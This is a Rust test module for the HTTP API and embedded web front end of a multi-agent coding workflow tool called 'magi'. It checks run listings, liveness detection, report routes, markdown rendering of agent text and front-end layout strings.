12094 assert_eq!(row["judges"], 3);
12095 assert_eq!(row["winner"], Value::Null);
12096 assert_eq!(row["reviews"], 0);
12097
12098 let detail = f.get("/api/runs/a1b2").await;
12101 assert_eq!(detail.status, 200);
12102 assert_eq!(detail.json()["base_branch"], "main");
12103 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
12104 }
12105
12106 #[tokio::test]
12114 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
12115 let f = Fixture::start().await;
12116
12117 let mut none_run = RunState::new(
12118 PathBuf::from("/repo/magi"),
12119 "main".to_owned(),
12120 "0123456789abcdef".to_owned(),
12121 "Add a web UI".to_owned(),
12122 Config::default(),
12123 );
12124 none_run.id = "20260902-140503-none".to_owned();
12125 none_run.status = RunStatus::Ready;
12126 none_run.merge = Some(crate::run::MergeOutcome {
12127 mode: crate::config::MergeMode::None,
12128 ok: true,
12129 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
12130 empty: false,
12131 });
12132 write_state(&f.runs(), &none_run);
12133
12134 let mut pr_run = RunState::new(
12135 PathBuf::from("/repo/magi"),
12136 "main".to_owned(),
12137 "0123456789abcdef".to_owned(),
12138 "Add a web UI".to_owned(),
12139 Config::default(),
12140 );
12141 pr_run.id = "20260902-140504-prcl".to_owned();
12142 pr_run.status = RunStatus::Ready;
12143 pr_run.merge = Some(crate::run::MergeOutcome {
12144 mode: crate::config::MergeMode::Pr,
12145 ok: false,
12146 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
12147 empty: false,
12148 });
12149 write_state(&f.runs(), &pr_run);
12150
12151 let summary = f.get("/api/runs").await.json();
12152 let rows: std::collections::HashMap<&str, &Value> = summary
12153 .as_array()
12154 .expect("an array")
12155 .iter()
12156 .map(|r| (r["id"].as_str().expect("an id"), r))
12157 .collect();
12158 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
12159 assert_eq!(
12160 rows[none_run.id.as_str()]["unmerged_by_design"],
12161 true,
12162 "a mode-none Ready must be flagged in the list"
12163 );
12164 assert_eq!(
12165 rows[pr_run.id.as_str()]["unmerged_by_design"],
12166 false,
12167 "a Ready reached by a closed pull request is a different case"
12168 );
12169
12170 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
12171 assert_eq!(none_detail["status"], "ready");
12172 assert_eq!(none_detail["unmerged_by_design"], true);
12173
12174 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
12175 assert_eq!(pr_detail["unmerged_by_design"], false);
12176 }
12177
12178 #[tokio::test]
12183 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
12184 let f = Fixture::start().await;
12185 let id = "20260902-140502-bbbb";
12189 let mut state = RunState::new(
12190 PathBuf::from("/repo/magi"),
12191 "main".to_owned(),
12192 "0123456789abcdef".to_owned(),
12193 "Add a web UI".to_owned(),
12194 Config::default(),
12195 );
12196 state.id = id.to_owned();
12197 state.status = RunStatus::Judging;
12198 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
12199 let dir = f.runs().join(id);
12200 std::fs::create_dir_all(&dir).expect("run dir");
12201 std::fs::write(
12202 dir.join("run.json"),
12203 serde_json::to_string_pretty(&state).expect("serialize run"),
12204 )
12205 .expect("write run.json");
12206
12207 let cold = f.get(&format!("/api/runs/{id}")).await.json();
12213 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
12214 assert_eq!(cold["live"], "unknown", "{cold}");
12215
12216 write_daemon(f.home.path(), Timestamp::now());
12219 let warm = f.get(&format!("/api/runs/{id}")).await.json();
12220 assert_eq!(warm["live"], "live", "{warm}");
12221 }
12222
12223 #[tokio::test]
12226 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
12227 let f = Fixture::start().await;
12228 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
12229 let mut state = RunState::new(
12230 PathBuf::from("/repo/magi"),
12231 "main".to_owned(),
12232 "0123456789abcdef".to_owned(),
12233 "Add a web UI".to_owned(),
12234 Config::default(),
12235 );
12236 state.id = id.to_owned();
12237 state.origin = origin;
12238 let mut value = serde_json::to_value(&state).expect("serialize run");
12239 if let Some(schema) = schema {
12240 value["schema"] = serde_json::json!(schema);
12241 value.as_object_mut().unwrap().remove("origin");
12242 }
12243 let dir = f.runs().join(id);
12244 std::fs::create_dir_all(&dir).expect("run dir");
12245 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
12246 };
12247 write(
12248 "20260930-092817-ec34",
12249 Some(crate::run::Origin::from_agent_env(
12250 Some(("4a7b".to_owned(), "chat".to_owned())),
12251 None,
12252 )),
12253 None,
12254 );
12255 write("20260930-092817-0ld1", None, Some(12));
12256
12257 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
12258 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
12259 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
12260
12261 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
12262 assert_eq!(
12263 old["origin_label"], "origin unknown (started before origins were recorded)",
12264 "{old}"
12265 );
12266 assert!(old["origin"].is_null(), "{old}");
12267
12268 let list = f.get("/api/runs").await.json();
12269 let labels: Vec<_> = list
12270 .as_array()
12271 .unwrap()
12272 .iter()
12273 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
12274 .collect();
12275 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
12276 }
12277
12278 #[tokio::test]
12285 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
12286 let f = Fixture::start().await;
12287 let id = "20260922-090000-cccc";
12288 let mut state = RunState::new(
12289 PathBuf::from("/repo/magi"),
12290 "main".to_owned(),
12291 "0123456789abcdef".to_owned(),
12292 "Review only".to_owned(),
12293 Config::default(),
12294 );
12295 state.id = id.to_owned();
12296 state.status = RunStatus::Reviewing;
12297 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
12298 state.driver_pid = Some(std::process::id());
12304 state.driver_started_at = Some(
12305 crate::proc::process_started_at(std::process::id())
12306 .expect("this test process's own start time must be queryable"),
12307 );
12308 let dir = f.runs().join(id);
12309 std::fs::create_dir_all(&dir).expect("run dir");
12310 std::fs::write(
12311 dir.join("run.json"),
12312 serde_json::to_string_pretty(&state).expect("serialize run"),
12313 )
12314 .expect("write run.json");
12315
12316 let detail = f.get(&format!("/api/runs/{id}")).await.json();
12317 assert_eq!(detail["live"], "live", "{detail}");
12318 }
12319
12320 #[tokio::test]
12326 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
12327 let f = Fixture::start().await;
12328 let id = "20260922-090100-dddd";
12329 let mut state = RunState::new(
12330 PathBuf::from("/repo/magi"),
12331 "main".to_owned(),
12332 "0123456789abcdef".to_owned(),
12333 "Review only".to_owned(),
12334 Config::default(),
12335 );
12336 state.id = id.to_owned();
12337 state.status = RunStatus::Reviewing;
12338 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
12339 state.driver_pid = Some(std::process::id());
12344 state.driver_started_at = Some("1".to_owned());
12345 let dir = f.runs().join(id);
12346 std::fs::create_dir_all(&dir).expect("run dir");
12347 std::fs::write(
12348 dir.join("run.json"),
12349 serde_json::to_string_pretty(&state).expect("serialize run"),
12350 )
12351 .expect("write run.json");
12352
12353 let detail = f.get(&format!("/api/runs/{id}")).await.json();
12354 assert_eq!(detail["live"], "dead", "{detail}");
12355 }
12356
12357 #[test]
12361 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
12362 let mk = |id: &str, pid: Option<u32>| {
12363 let mut s = RunState::new(
12364 PathBuf::from("/repo/magi"),
12365 "main".to_owned(),
12366 "0123456789abcdef".to_owned(),
12367 "Add a web UI".to_owned(),
12368 Config::default(),
12369 );
12370 s.id = id.to_owned();
12371 s.driver_pid = pid;
12372 s.driver_started_at = Some("1790000000".to_owned());
12373 s
12374 };
12375 let states = vec![
12376 mk("20260902-140502-aaaa", Some(77)),
12377 mk("20260902-140502-bbbb", Some(77)),
12378 mk("20260902-140502-cccc", Some(77)),
12379 mk("20260902-140502-dddd", None),
12380 ];
12381 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
12382 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
12383 let sup: HashMap<String, String> = [(
12384 "20260902-140502-aaaa".to_owned(),
12385 "20260902-140502-cccc".to_owned(),
12386 )]
12387 .into();
12388
12389 let status_calls = std::cell::Cell::new(0);
12390 let identity_calls = std::cell::Cell::new(0);
12391 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
12392 |_| {
12393 status_calls.set(status_calls.get() + 1);
12394 Some(true)
12395 },
12396 |_| {
12397 identity_calls.set(identity_calls.get() + 1);
12398 Some("1790000000".to_owned())
12399 },
12400 ));
12401 let rows = summarize(
12402 states,
12403 &open,
12404 &claimed,
12405 &sup,
12406 |p| probe.borrow_mut().status(p),
12407 |p| probe.borrow_mut().started_at(p),
12408 );
12409
12410 assert_eq!(status_calls.get(), 1, "one pid, one status query");
12411 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
12412 assert_eq!(rows.len(), 4);
12413 assert!(!rows[0].waiting && rows[1].waiting);
12414 assert_eq!(rows[0].live, crate::run::Liveness::Live);
12415 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
12416 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
12417 assert_eq!(rows[1].superseded_by, None);
12418 }
12419
12420 #[test]
12421 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
12422 let mut state = RunState::new(
12423 PathBuf::from("/repo/magi"),
12424 "main".to_owned(),
12425 "0123456789abcdef".to_owned(),
12426 "Review only".to_owned(),
12427 Config::default(),
12428 );
12429 state.id = "20260922-090200-dead".to_owned();
12430 state.status = RunStatus::Reviewing;
12431 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
12432 .expect("serialize list row");
12433 assert_eq!(row["status"], "reviewing");
12434 assert_eq!(row["live"], "dead", "{row}");
12435 assert!(!row["done"].as_bool().unwrap());
12436 }
12437
12438 #[tokio::test]
12439 async fn the_run_list_is_newest_first_and_honours_a_limit() {
12440 let f = Fixture::start().await;
12441 for id in [
12442 "20260902-140501-aaaa",
12443 "20260902-140502-bbbb",
12444 "20260902-140503-cccc",
12445 ] {
12446 write_run(&f.runs(), id, RunStatus::Merged);
12447 }
12448
12449 let all = f.get("/api/runs").await.json();
12450 let capped = f.get("/api/runs?limit=2").await.json();
12451
12452 assert_eq!(all[0]["id"], "20260902-140503-cccc");
12453 assert_eq!(all.as_array().map(Vec::len), Some(3));
12454 assert_eq!(capped.as_array().map(Vec::len), Some(2));
12455 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
12456 }
12457
12458 #[tokio::test]
12459 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
12460 let f = Fixture::start().await;
12461 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
12462
12463 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
12464
12465 assert_eq!(res.status, 200);
12466 assert!(
12467 res.headers
12468 .contains("content-type: text/plain; charset=utf-8"),
12469 "a browser must render it, not download it: {}",
12470 res.headers
12471 );
12472 assert!(
12476 res.body.contains("20260902-140501-a1b2"),
12477 "the report is about the run that was asked for: {}",
12478 res.body
12479 );
12480 }
12481
12482 #[tokio::test]
12483 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
12484 crate::run::pin_test_home();
12486 let f = Fixture::start().await;
12487 let id = "20260902-140501-a1b2";
12488 write_run(&f.runs(), id, RunStatus::Stalled);
12489 let path = f.runs().join(id).join("run.json");
12492 let mut v: serde_json::Value =
12493 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
12494 v["tally"] = serde_json::json!({
12495 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
12496 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
12497 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
12498 "met_quorum": false, "rankings": 1
12499 });
12500 v["reviews"] = serde_json::json!([{
12501 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
12502 "e2e_deferred": true,
12503 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
12504 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
12505 ]}]
12506 }]);
12507 std::fs::write(&path, v.to_string()).unwrap();
12508 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
12509 std::fs::write(
12510 f.runs().join("20260902-140502-dead").join("run.json"),
12511 "{not json",
12512 )
12513 .unwrap();
12514
12515 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
12516
12517 assert_eq!(res.status, 200, "{}", res.body);
12518 assert!(res.headers.contains("content-type: application/json"));
12519 let j = res.json();
12520 assert_eq!(j["schema"], 1);
12521 assert_eq!(j["header"]["id"], id);
12522 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
12523 let kinds: Vec<&str> = j["sections"]
12524 .as_array()
12525 .unwrap()
12526 .iter()
12527 .map(|s| s["kind"].as_str().unwrap())
12528 .collect();
12529 assert_eq!(kinds, ["candidates", "tally", "review"]);
12530 let tally = &j["sections"][1]["tally"];
12531 assert_eq!(
12532 (tally["decided"].clone(), tally["provisional"].clone()),
12533 (false.into(), true.into())
12534 );
12535 let round = &j["sections"][2]["rounds"][0];
12536 assert_eq!(round["e2e"]["state"], "deferred");
12537 assert_eq!(round["findings"][0]["severity"], "major");
12538 assert_eq!(round["findings"][0]["blocking"], true);
12539 assert_eq!(round["findings"][0]["state"], "open");
12540
12541 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
12543
12544 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
12546 assert_ne!(bad.status, 200, "{}", bad.body);
12547 assert_eq!(
12548 bad.status,
12549 f.get("/api/runs/20260902-140502-dead/report").await.status
12550 );
12551 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
12552 assert_eq!(
12553 f.get("/api/runs/20260902-999999-ffff/report.json")
12554 .await
12555 .status,
12556 404
12557 );
12558 }
12559
12560 #[tokio::test]
12561 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
12562 let f = Fixture::start().await;
12563
12564 let html = f.get("/").await;
12565 let css = f.get("/app.css").await;
12566 let js = f.get("/app.js").await;
12567
12568 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
12569 assert!(
12570 html.headers
12571 .contains("content-type: text/html; charset=utf-8")
12572 );
12573 assert!(css.headers.contains("content-type: text/css"));
12574 assert!(js.headers.contains("content-type: text/javascript"));
12575 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
12576 }
12577
12578 #[test]
12579 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
12580 let body = |name: &str| {
12581 let at = APP_JS
12582 .find(name)
12583 .unwrap_or_else(|| panic!("{name} missing"));
12584 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12585 };
12586 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
12587 let note = body("function landRoundNote");
12588 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
12589 assert!(note.contains("Land round ${round}"));
12590 let land = body("function renderLand");
12591 let note_at = land
12592 .find("landRoundNote(pr)")
12593 .expect("renderLand uses the note");
12594 assert!(
12595 note_at
12596 < land
12597 .find("roundRail(pr)")
12598 .expect("renderLand uses the rail")
12599 );
12600 }
12601
12602 #[test]
12603 fn the_runs_page_redesign_keeps_its_guards() {
12604 let body = |name: &str| {
12605 let at = APP_JS
12606 .find(name)
12607 .unwrap_or_else(|| panic!("{name} missing"));
12608 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12609 };
12610 let land = body("function renderLand");
12612 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
12613 assert!(
12614 !land.contains("box.append("),
12615 "renderLand must use append()"
12616 );
12617 assert!(land.contains("append(box, ["));
12618 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
12620 assert!(
12621 body("function applyRoute")
12622 .contains("route.name !== state.route.name || route.id !== state.route.id")
12623 );
12624 assert!(!APP_JS.contains("adviseConvergeDiagram"));
12626 assert!(!INDEX_HTML.contains("advise-converge"));
12627 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
12628 assert!(APP_JS.contains("provisional"));
12629 for id in [
12630 "run-tab-overview",
12631 "run-tab-timeline",
12632 "run-tab-report",
12633 "run-report",
12634 "runs-scope",
12635 ] {
12636 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
12637 }
12638 assert!(!INDEX_HTML.contains("runs-tree"));
12639 assert!(!INDEX_HTML.contains("run-raw-panel"));
12640 assert!(APP_JS.contains("resume"));
12642 assert!(APP_JS.contains("unreadable"));
12644 }
12645
12646 #[test]
12647 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
12648 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
12649 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
12650 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
12651 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
12652 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
12653 assert!(APP_JS.contains("unreadable` : null"));
12655 }
12656
12657 #[test]
12658 fn the_run_detail_payload_says_whether_the_run_is_done() {
12659 for (status, done) in [
12661 (RunStatus::Superseded, true),
12662 (RunStatus::Blocked, true),
12663 (RunStatus::Landing, false),
12664 ] {
12665 let mut state = RunState::new(
12666 std::path::PathBuf::from("/repo"),
12667 "main".to_owned(),
12668 "abc".to_owned(),
12669 "x".to_owned(),
12670 crate::config::Config::default(),
12671 );
12672 state.status = status;
12673 let v = serde_json::to_value(RunDetailView::of(
12674 state,
12675 crate::run::Liveness::Unknown,
12676 None,
12677 None,
12678 None,
12679 ))
12680 .unwrap();
12681 assert_eq!(v["done"], done, "{status:?}");
12682 }
12683 }
12684
12685 fn has_strong(nodes: &[md::Node]) -> bool {
12687 serde_json::to_string(nodes).unwrap().contains("strong")
12688 }
12689
12690 #[test]
12691 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
12692 let mut state = RunState::new(
12693 std::path::PathBuf::from("/repo"),
12694 "main".to_owned(),
12695 "abc".to_owned(),
12696 "x".to_owned(),
12697 crate::config::Config::default(),
12698 );
12699 let proposal = |approach: &str| {
12700 serde_json::json!({
12701 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
12702 })
12703 };
12704 state.advice = Some(
12705 serde_json::from_value(serde_json::json!({
12706 "records": [
12707 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
12708 "proposal": proposal("do **this**")},
12709 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
12710 ],
12711 "synthesis": "- one\n- **two**\n\n`code`",
12712 }))
12713 .unwrap(),
12714 );
12715 state.candidates = serde_json::from_value(serde_json::json!([
12716 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
12717 "summary": "did **it**"},
12718 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
12719 ]))
12720 .unwrap();
12721 state.reviews = serde_json::from_value(serde_json::json!([{
12724 "round": 1, "head": "h",
12725 "reviews": [{
12726 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
12727 "findings": [
12728 {"severity": "nit", "title": "t1", "detail": "plain nit"},
12729 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
12730 ],
12731 }],
12732 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
12733 "fix": {"agent": "a", "notes": "fixed **it**",
12734 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
12735 }, {"round": 2, "head": "h2", "reviews": []}]))
12736 .unwrap();
12737
12738 let v = serde_json::to_value(RunDetailView::of(
12739 state,
12740 crate::run::Liveness::Unknown,
12741 None,
12742 None,
12743 None,
12744 ))
12745 .unwrap();
12746
12747 let strong = |p: &str| {
12748 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
12749 assert!(n.to_string().contains("strong"), "{p}: {n}");
12750 };
12751 strong("/advice_md/synthesis");
12752 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
12753 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
12754 strong("/advice_md/approaches/0");
12755 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
12756 strong("/candidate_summaries_md/0");
12757 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
12758 strong("/reviews_md/0/reviewers/0/summary");
12759 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
12760 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
12761 assert!(f[1].to_string().contains("strong"));
12762 strong("/reviews_md/0/reconsideration/0");
12763 strong("/reviews_md/0/fix/notes");
12764 strong("/reviews_md/0/fix/rejected/0");
12765 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
12766 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
12767 assert_eq!(v["candidates"][0]["summary"], "did **it**");
12769 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
12770 }
12771
12772 #[test]
12773 fn a_run_without_advice_has_no_advice_md() {
12774 let state = RunState::new(
12775 std::path::PathBuf::from("/repo"),
12776 "main".to_owned(),
12777 "abc".to_owned(),
12778 "x".to_owned(),
12779 crate::config::Config::default(),
12780 );
12781 let p = run_prose_md(&state);
12782 assert!(p.advice_md.is_none());
12783 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
12784 }
12785
12786 #[test]
12787 fn a_question_view_carries_markdown_for_each_thread_turn() {
12788 let home = TempDir::new().unwrap();
12789 let store = ask::Questions::at(home.path().join("questions"));
12790 let mut q = Question::new(
12791 "run".to_owned(),
12792 "implement".to_owned(),
12793 "impl-A".to_owned(),
12794 "which?".to_owned(),
12795 String::new(),
12796 Vec::new(),
12797 );
12798 q.say("plain words").unwrap();
12799 q.reply("use **this**", Vec::new()).unwrap();
12800 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12801 let bodies = &v["thread_bodies_md"];
12802 assert_eq!(bodies.as_array().unwrap().len(), 2);
12803 assert!(!bodies[0].to_string().contains("strong"));
12804 assert!(bodies[1].to_string().contains("strong"));
12805 }
12806
12807 #[test]
12808 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
12809 let home = TempDir::new().unwrap();
12810 let store = ask::Questions::at(home.path().join("questions"));
12811 let mut q = Question::new(
12812 "run".to_owned(),
12813 "conduct".to_owned(),
12814 "conduct".to_owned(),
12815 "which?".to_owned(),
12816 String::new(),
12817 Vec::new(),
12818 );
12819 q.say("plain words").unwrap();
12820 q.thread.push(ask::Turn {
12821 who: ask::Who::Agent,
12822 body: "Settled as `merge`".to_owned(),
12823 at: jiff::Timestamp::now(),
12824 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
12825 });
12826 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12827 let notes = &v["thread_notes_md"];
12828 assert_eq!(notes.as_array().unwrap().len(), 2);
12829 assert!(notes[0].is_null());
12830 let text = notes[1].to_string();
12831 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
12832 assert!(APP_JS.contains("ask-turn-note"));
12833 }
12834
12835 #[test]
12836 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
12837 assert!(APP_JS.contains("function landView(run, raw) {"));
12841 assert!(
12842 APP_JS.contains(
12843 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
12844 )
12845 );
12846 assert!(APP_JS.contains("const pr = landView(run, raw);"));
12847 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
12848 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
12849 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
12850 }
12851
12852 #[test]
12853 fn live_runs_are_never_hidden_or_folded_as_superseded() {
12854 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
12855 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
12856 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
12857 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
12858 }
12859
12860 #[test]
12861 fn review_rounds_label_a_distinct_verified_head() {
12862 assert!(APP_JS.contains("round.verified_head"));
12863 assert!(APP_JS.contains("verified HEAD"));
12864 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
12865 }
12866
12867 #[test]
12868 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
12869 assert!(APP_JS.contains("blocked: { glyph:"));
12873 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
12874
12875 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
12879 assert!(
12880 APP_JS.contains(
12881 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
12882 ),
12883 "the note line must name what a blocked task is waiting on, not just that it is blocked"
12884 );
12885 assert!(APP_JS.contains("if (status === \"blocked\") {"));
12889
12890 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
12894 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
12895 assert!(
12896 APP_JS.contains("location.hash = \"#/questions\";"),
12897 "a question node must jump to the Questions screen, not pretend to be a task"
12898 );
12899
12900 assert!(APP_JS.contains("Resolved questions"));
12903 assert!(APP_JS.contains("r.answersList.append("));
12904 assert!(APP_CSS.contains(".task-answers"));
12905 {
12906 let start = APP_JS
12907 .find("function updateTalkTaskRow")
12908 .expect("updateTalkTaskRow");
12909 let body = &APP_JS[start..];
12910 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
12911 assert!(
12912 body.contains(
12913 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
12914 ),
12915 "a chat-filed task row must link to the task page"
12916 );
12917 assert!(
12918 !body.contains("#/runs/") && !body.contains("#/queue/"),
12919 "the row must not branch to a run or the queue card"
12920 );
12921 assert!(APP_CSS.contains(".talk-task-link"));
12922 }
12923 }
12924
12925 #[test]
12926 fn a_task_notification_links_to_the_task_page() {
12927 let start = APP_JS
12929 .find("function noticeLink(")
12930 .expect("noticeLink exists");
12931 let body = &APP_JS[start..];
12932 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
12933 assert!(
12934 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
12935 "a task notice's link must target the task page"
12936 );
12937 assert!(
12938 !body.contains("#/queue/"),
12939 "regression: the task link must not go back to the Backlog route"
12940 );
12941 assert!(
12942 APP_JS.contains(
12943 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
12944 ),
12945 "`#/tasks/<id>` must parse into the task route"
12946 );
12947
12948 assert!(
12950 APP_JS.contains(
12951 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
12952 ),
12953 "`#/queue/<id>` must parse into a route carrying that id"
12954 );
12955
12956 assert!(APP_JS.contains("state.queueFocus = route.id;"));
12960 assert!(APP_JS.contains("function consumeQueueFocus()"));
12961 assert!(APP_JS.contains("jumpToTask(id)"));
12962 }
12963
12964 #[test]
12967 fn chat_rows_put_the_title_alone_on_the_first_line() {
12968 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
12969 assert!(APP_CSS.contains(
12970 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
12971 ));
12972 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
12973 assert!(APP_JS.contains("class: \"badge talk-unread\""));
12974 }
12975
12976 #[test]
12977 fn run_rows_put_the_title_alone_on_the_first_line() {
12978 assert!(
12979 APP_CSS.contains(
12980 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
12981 )
12982 );
12983 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
12984 assert!(APP_JS.contains("class: \"card run-card\""));
12985 assert!(APP_JS.contains("class: \"repo run-id\""));
12986 }
12987
12988 #[test]
12992 fn wide_screens_show_list_and_preview_side_by_side() {
12993 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
12995 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
12996 assert!(APP_CSS.contains("main[data-split]"));
12997 assert!(APP_CSS.contains("body[data-split]"));
12998
12999 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
13001 assert!(APP_JS.contains("case \"run\": return { list: \"runs\", detail: \"run\" };"));
13002 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
13003 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
13004 assert!(INDEX_HTML.contains("id=\"split-empty\""));
13005
13006 assert!(APP_JS.contains("function markSelected() {"));
13008 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
13009 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
13010 assert!(
13012 APP_CSS.contains(
13013 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
13014 )
13015 );
13016
13017 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
13019 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
